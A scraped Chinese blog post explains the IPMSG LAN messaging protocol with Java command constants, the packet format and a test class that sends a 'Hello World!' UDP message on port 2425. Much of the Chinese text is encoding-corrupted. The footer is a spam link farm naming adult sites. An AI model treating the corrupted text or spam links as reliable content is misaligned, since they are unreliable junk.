</span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000018</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">13</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_OKGETLIST </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000015</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">14</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_GETLIST </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000016</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">15</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_ANSLIST </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000017</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">16</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">17</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_SENDMSG </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000020</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">18</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_RECVMSG </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000021</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">19</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">20</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_READMSG </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000030</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">21</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_DELMSG </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000031</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">22</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">23</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_GETINFO </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000040</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">24</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_SENDINFO </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000041</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">25</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">26</span> <span style="color: rgb(0,128,0)">//</span><span style="color: rgb(0,128,0)"> other opt</span><span style="color: rgb(0,128,0)"><br /> </span><span style="color: rgb(0,128,128)">27</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_ABSENCEOPT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000100</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">28</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_SERVEROPT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000200</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">29</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_DIALUPOPT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00010000</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">30</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">31</span> <span style="color: rgb(0,128,0)">//</span><span style="color: rgb(0,128,0)"> send opt</span><span style="color: rgb(0,128,0)"><br /> </span><span style="color: rgb(0,128,128)">32</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_SENDCHECKOPT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000100</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">33</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_SECRETOPT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000200</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">34</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_BROADCASTOPT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000400</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">35</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_MULTICASTOPT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000800</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">36</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_NOPOPUPOPT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00001000</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">37</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_AUTORETOPT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00002000</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">38</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_RETRYOPT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00004000</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">39</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_PASSWORDOPT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00008000</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">40</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_NOLOGOPT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00020000</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">41</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_NEWMUTIOPT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00040000</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">42</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">43</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">final</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">int</span><span style="color: rgb(0,0,0)"> MAXBUF </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">8192</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">44</span> <span style="color: rgb(0,128,0)">/*</span><span style="color: rgb(0,128,0)">========== end ==========</span><span style="color: rgb(0,128,0)">*/</span></font></div> <br /> IPMSG收发数据包的格式Q一行)Q?br /> <div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><font face="Courier New"><span style="color: rgb(0,128,128)">1</span> <span style="color: rgb(0,0,0)"><font color="#99cc00">version</font>(IPMSG版本):<font color="#99cc00">no</font>(消息~号Q可以用pȝ旉):<font color="#99cc00">user</font>(发送消息的用户?:<font color="#99cc00">host</font>(发送消息的L?:<font color="#99cc00">command</font>(上述 Command 帔RQ可以用 | l合多个?:<font color="#99cc00">msg</font>(消息内容)</span></font></div> <br /> CZ(向IPMSG发送消息,需要先打开Ҏ的IPMSG)Q?br /> <div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: rgb(0,128,128)"> <font face="Courier New">1</font></span><font face="Courier New"> <span style="color: rgb(0,0,255)">import</span><span style="color: rgb(0,0,0)"> java.io.IOException;<br /> </span><span style="color: rgb(0,128,128)"> 2</span> <span style="color: rgb(0,0,255)">import</span><span style="color: rgb(0,0,0)"> java.net.DatagramPacket;<br /> </span><span style="color: rgb(0,128,128)"> 3</span> <span style="color: rgb(0,0,255)">import</span><span style="color: rgb(0,0,0)"> java.net.DatagramSocket;<br /> </span><span style="color: rgb(0,128,128)"> 4</span> <span style="color: rgb(0,0,255)">import</span><span style="color: rgb(0,0,0)"> java.net.InetAddress;<br /> </span><span style="color: rgb(0,128,128)"> 5</span> <span style="color: rgb(0,0,255)">import</span><span style="color: rgb(0,0,0)"> java.net.SocketException;<br /> </span><span style="color: rgb(0,128,128)"> 6</span> <span style="color: rgb(0,0,255)">import</span><span style="color: rgb(0,0,0)"> java.net.UnknownHostException;<br /> </span><span style="color: rgb(0,128,128)"> 7</span> <span style="color: rgb(0,0,255)">import</span><span style="color: rgb(0,0,0)"> java.util.Date;<br /> </span><span style="color: rgb(0,128,128)"> 8</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 9</span> <span style="color: rgb(0,128,0)">/**</span><span style="color: rgb(0,128,0)"><br /> </span><span style="color: rgb(0,128,128)">10</span> <span style="color: rgb(0,128,0)"> * </span><span style="color: rgb(128,128,128)">@author</span><span style="color: rgb(0,128,0)"> ?nbsp;7 8 p?nbsp;</span><span style="color: rgb(0,128,0); text-decoration: underline">http://www.fadesky.com</span><span style="color: rgb(0,128,0)"><br /> </span><span style="color: rgb(0,128,128)">11</span> <span style="color: rgb(0,128,0)"> </span><span style="color: rgb(0,128,0)">*/</span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">12</span> <span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">class</span><span style="color: rgb(0,0,0)"> TestIPMSG<br /> </span><span style="color: rgb(0,128,128)">13</span> <span style="color: rgb(0,0,0)">{<br /> </span><span style="color: rgb(0,128,128)">14</span> <span style="color: rgb(0,0,0)">  </span><span style="color: rgb(0,0,255)">public</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">static</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">void</span><span style="color: rgb(0,0,0)"> main(String[] args)<br /> </span><span style="color: rgb(0,128,128)">15</span> <span style="color: rgb(0,0,0)">  {<br /> </span><span style="color: rgb(0,128,128)">16</span> <span style="color: rgb(0,0,0)">    DatagramSocket socket;<br /> </span><span style="color: rgb(0,128,128)">17</span> <span style="color: rgb(0,0,0)">    InetAddress address;<br /> </span><span style="color: rgb(0,128,128)">18</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">19</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)">long</span><span style="color: rgb(0,0,0)"> IPMSG_SENDMSG </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">0x00000020</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">20</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">21</span> <span style="color: rgb(0,0,0)">    String SENDER </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)">?nbsp;7 8 p?/span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">22</span> <span style="color: rgb(0,0,0)">    String HOST </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)">Localhost</span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">23</span> <span style="color: rgb(0,0,0)">    String MSG_CONTENT </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)">Hello World!</span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)">;<br /> </span><span style="color: rgb(0,128,128)">24</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">25</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)">try</span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">26</span> <span style="color: rgb(0,0,0)">    {<br /> </span><span style="color: rgb(0,128,128)">27</span> <span style="color: rgb(0,0,0)">      socket </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">new</span><span style="color: rgb(0,0,0)"> DatagramSocket();<br /> </span><span style="color: rgb(0,128,128)">28</span> <span style="color: rgb(0,0,0)">      address </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> InetAddress.getByName(</span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)">192.168.1.20</span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)">);</span><span style="color: rgb(0,128,0)">//</span><span style="color: rgb(0,128,0)"> 发送给消息的地址</span><span style="color: rgb(0,128,0)"><br /> </span><span style="color: rgb(0,128,128)">29</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">30</span> <span style="color: rgb(0,0,0)">      </span><span style="color: rgb(0,128,0)">/**</span><span style="color: rgb(0,128,0)"><br /> </span><span style="color: rgb(0,128,128)">31</span> <span style="color: rgb(0,128,0)">       * IPMSG收发数据包的格式Q一行)Q?br /> </span><span style="color: rgb(0,128,128)">32</span> <span style="color: rgb(0,128,0)">       * <br /> </span><span style="color: rgb(0,128,128)">33</span> <span style="color: rgb(0,128,0)">       * version(IPMSG版本):no(消息~号Q可以用pȝ旉):user(发送消息的用户?:<br /> </span><span style="color: rgb(0,128,128)">34</span> <span style="color: rgb(0,128,0)">       * host(发送消息的L?:command(上述 Command 帔RQ可以用 | l合多个?:<br /> </span><span style="color: rgb(0,128,128)">35</span> <span style="color: rgb(0,128,0)">       * msg(消息内容)<br /> </span><span style="color: rgb(0,128,128)">36</span> <span style="color: rgb(0,128,0)">       * <br /> </span><span style="color: rgb(0,128,128)">37</span> <span style="color: rgb(0,128,0)">       </span><span style="color: rgb(0,128,0)">*/</span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">38</span> <span style="color: rgb(0,0,0)">      </span><span style="color: rgb(0,0,255)">byte</span><span style="color: rgb(0,0,0)">[] buffer </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> (</span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)">1:</span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">+</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">new</span><span style="color: rgb(0,0,0)"> Date().getTime() </span><span style="color: rgb(0,0,0)">+</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)">:</span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">+</span><span style="color: rgb(0,0,0)"> SENDER </span><span style="color: rgb(0,0,0)">+</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)">:</span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">+</span><span style="color: rgb(0,0,0)"> HOST<br /> </span><span style="color: rgb(0,128,128)">39</span> <span style="color: rgb(0,0,0)">          </span><span style="color: rgb(0,0,0)">+</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)">:</span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">+</span><span style="color: rgb(0,0,0)"> IPMSG_SENDMSG </span><span style="color: rgb(0,0,0)">+</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)">:</span><span style="color: rgb(0,0,0)">"</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,0)">+</span><span style="color: rgb(0,0,0)"> MSG_CONTENT).getBytes();<br /> </span><span style="color: rgb(0,128,128)">40</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">41</span> <span style="color: rgb(0,0,0)">      DatagramPacket packet </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">new</span><span style="color: rgb(0,0,0)"> DatagramPacket(buffer, buffer.length,<br /> </span><span style="color: rgb(0,128,128)">42</span> <span style="color: rgb(0,0,0)">          address, </span><span style="color: rgb(0,0,0)">2425</span><span style="color: rgb(0,0,0)">);<br /> </span><span style="color: rgb(0,128,128)">43</span> <span style="color: rgb(0,0,0)">      socket.send(packet); </span><span style="color: rgb(0,128,0)">//</span><span style="color: rgb(0,128,0)"> 发送报?/span><span style="color: rgb(0,128,0)"><br /> </span><span style="color: rgb(0,128,128)">44</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">45</span> <span style="color: rgb(0,0,0)">      packet </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">new</span><span style="color: rgb(0,0,0)"> DatagramPacket(buffer, buffer.length);<br /> </span><span style="color: rgb(0,128,128)">46</span> <span style="color: rgb(0,0,0)">      socket.receive(packet);</span><span style="color: rgb(0,128,0)">//</span><span style="color: rgb(0,128,0)"> 接收回应</span><span style="color: rgb(0,128,0)"><br /> </span><span style="color: rgb(0,128,128)">47</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">48</span> <span style="color: rgb(0,0,0)">      String message </span><span style="color: rgb(0,0,0)">=</span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,0,255)">new</span><span style="color: rgb(0,0,0)"> String(packet.getData()); </span><span style="color: rgb(0,128,0)">//</span><span style="color: rgb(0,128,0)"> 得到报文信息</span><span style="color: rgb(0,128,0)"><br /> </span><span style="color: rgb(0,128,128)">49</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">50</span> <span style="color: rgb(0,0,0)">      System.out.println(message); </span><span style="color: rgb(0,128,0)">//</span><span style="color: rgb(0,128,0)"> 昄Ҏq回的信?/span><span style="color: rgb(0,128,0)"><br /> </span><span style="color: rgb(0,128,128)">51</span> <span style="color: rgb(0,0,0)">    }<br /> </span><span style="color: rgb(0,128,128)">52</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)">catch</span><span style="color: rgb(0,0,0)"> (UnknownHostException e)<br /> </span><span style="color: rgb(0,128,128)">53</span> <span style="color: rgb(0,0,0)">    {<br /> </span><span style="color: rgb(0,128,128)">54</span> <span style="color: rgb(0,0,0)">      e.printStackTrace();<br /> </span><span style="color: rgb(0,128,128)">55</span> <span style="color: rgb(0,0,0)">    }<br /> </span><span style="color: rgb(0,128,128)">56</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)">catch</span><span style="color: rgb(0,0,0)"> (SocketException e)<br /> </span><span style="color: rgb(0,128,128)">57</span> <span style="color: rgb(0,0,0)">    {<br /> </span><span style="color: rgb(0,128,128)">58</span> <span style="color: rgb(0,0,0)">      e.printStackTrace();<br /> </span><span style="color: rgb(0,128,128)">59</span> <span style="color: rgb(0,0,0)">    }<br /> </span><span style="color: rgb(0,128,128)">60</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">61</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)">catch</span><span style="color: rgb(0,0,0)"> (IOException e)<br /> </span><span style="color: rgb(0,128,128)">62</span> <span style="color: rgb(0,0,0)">    {<br /> </span><span style="color: rgb(0,128,128)">63</span> <span style="color: rgb(0,0,0)">      e.printStackTrace();<br /> </span><span style="color: rgb(0,128,128)">64</span> <span style="color: rgb(0,0,0)">    }<br /> </span><span style="color: rgb(0,128,128)">65</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">66</span> <span style="color: rgb(0,0,0)">  }<br /> </span><span style="color: rgb(0,128,128)">67</span> <span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">68</span> <span style="color: rgb(0,0,0)">}<br /> </span><span style="color: rgb(0,128,128)">69</span> </font></div> <br /> 你可以在 SourceForge 扑ֈ开源的 <a title="IP MSG for Java" target="_blank">IP MSG for Java</a><br /> <br /> 从本Blog <a title="IPMSG for Java" href="http://m.tkk7.com/Files/tripper/ipmsg.zip" target="_blank">下蝲</a><br /> <br /> <a title="http://m.tkk7.com/tripper" href="http://m.tkk7.com/tripper">http://m.tkk7.com/tripper</a><br /> <br /> <img src ="http://m.tkk7.com/smildlzj/aggbug/161008.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/smildlzj/" target="_blank">smildlzj</a> 2007-11-16 14:17 <a href="http://m.tkk7.com/smildlzj/articles/161008.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>лǵվܻԴȤ</p> <a href="http://m.tkk7.com/" title="亚洲av成人片在线观看">亚洲av成人片在线观看</a> <div class="friend-links"> </div> </div> </footer> վ֩ģ壺 <a href="http://hucgjc.com" target="_blank">޳xxxxxӰ</a>| <a href="http://77sosoo.com" target="_blank">AVרAVֻ鶹</a>| <a href="http://bjsunic.com" target="_blank">ѿbbb</a>| <a href="http://szqsnt.com" target="_blank">޸߲</a>| <a href="http://55118885.com" target="_blank">޾Ʒ߹ۿ</a>| <a href="http://liulaogendawutai.com" 